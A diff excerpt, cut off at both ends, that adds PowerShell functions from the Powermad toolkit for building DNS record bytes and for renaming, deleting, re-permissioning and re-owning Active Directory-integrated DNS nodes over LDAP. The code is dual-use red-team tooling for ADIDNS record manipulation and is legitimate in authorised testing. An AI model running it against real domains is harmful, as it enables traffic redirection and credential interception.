[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$SOASerialNumber) + { + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + Write-Output "[-] $Zone SOA record not found" + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + Write-Output "[-] $DomainController did not respond on TCP port 53" + } + + } + else + { + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3] + } + + return [Byte[]]$SOA_serial_number_array +} + +function New-DNSRecordArray +{ + <# + .SYNOPSIS + This function creates a valid byte array for the dnsRecord attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid + array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DomainController + Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain + attached system. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The DNS zone that will be passed to New-SOASerialNumberArray. + + .EXAMPLE + Create a dnsRecord array for an A record pointing to 192.168.0.1. + New-DNSRecordArray -Type A -Data 192.168.0.1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$Data -and $Type -eq 'A') + { + + try + { + $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + Write-Verbose "[+] Data = $Data" + } + catch + { + Write-Output "[-] Error finding local IP, specify manually with -DNSData" + throw + } + + } + elseif(!$Data) + { + Write-Output "[-] -DNSData required with record type $Type" + throw + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + switch ($Type) + { + + 'A' + { + [Byte[]]$DNS_type = 0x01,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'AAAA' + { + [Byte[]]$DNS_type = 0x1c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'CNAME' + { + [Byte[]]$DNS_type = 0x05,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'DNAME' + { + [Byte[]]$DNS_type = 0x27,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'MX' + { + [Byte[]]$DNS_type = 0x0f,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'NS' + { + [Byte[]]$DNS_type = 0x02,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'PTR' + { + [Byte[]]$DNS_type = 0x0c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'SRV' + { + [Byte[]]$DNS_type = 0x21,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'TXT' + { + [Byte[]]$DNS_type = 0x10,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] + [Byte[]]$DNS_data = $Data.Length + $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) + } + + } + + [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) + [Byte[]]$DNS_record = $DNS_length + + $DNS_type + + 0x05,0xF0,0x00,0x00 + + $SOASerialNumberArray[0..3] + + $DNS_TTL[3..0] + + 0x00,0x00,0x00,0x00 + + if($Static) + { + $DNS_record += 0x00,0x00,0x00,0x00 + } + else + { + $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + $timestamp = $timestamp[0..3] + $DNS_record += $timestamp + } + + $DNS_record += $DNS_data + + return [Byte[]]$DNS_record +} + +function Rename-ADIDNSNode +{ + <# + .SYNOPSIS + This function renames an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old + record within DNS. + + .PARAMETER Credential + PSCredential object that will be used to rename the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The source ADIDNS node name. + + .PARAMETER NodeNew + The new ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Renames an ADIDNS node named test to test2. + Rename-ADIDNSNode -Node test -NodeNew test2 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][String]$NodeNew = "*", + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.Rename("DC=$NodeNew") + Write-Output "[+] ADIDNS node $Node renamed to $NodeNew" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-ADIDNSNode +{ + <# + .SYNOPSIS + This function removes an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and + allowed to repliate to all domain controllers, the record will remain in DNS. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Removes a wildcard node. + Remove-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] ADIDNS node $Node removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Revoke-ADIDNSPermission +{ + <# + .SYNOPSIS + This function removes an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function is mainly for removing the ACE associated with the user that created the DNS node + after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones, + non-administrators will rarely have the ability to modify a DNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The ACE user or group. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Remove the GenericAll ACE associated for the user1 account. + Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null + $directory_entry.psbase.CommitChanges() + Write-Output "[+] ACE removed for $Principal" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Set-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can append, populate, or overwite values in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can append, populate, or overwite values in an ADIDNS node attribute. + + .PARAMETER Append + Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute + to create multiple DNS records of the same name for round robin, etc. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Value + The attribute value. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the writable description attribute on a node named test. + Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] $attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] $attribute updated for $Node" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can sets the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can sets the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be granted ownsership. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the owner of a node named test to user1. + Set-ADIDNSNodeOwner -Node test -Principal user1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$true)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $account = New-Object System.Security.Principal.NTAccount($Principal) + $directory_entry.PsBase.ObjectSecurity.setowner($account) + $directory_entry.PsBase.CommitChanges() + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + 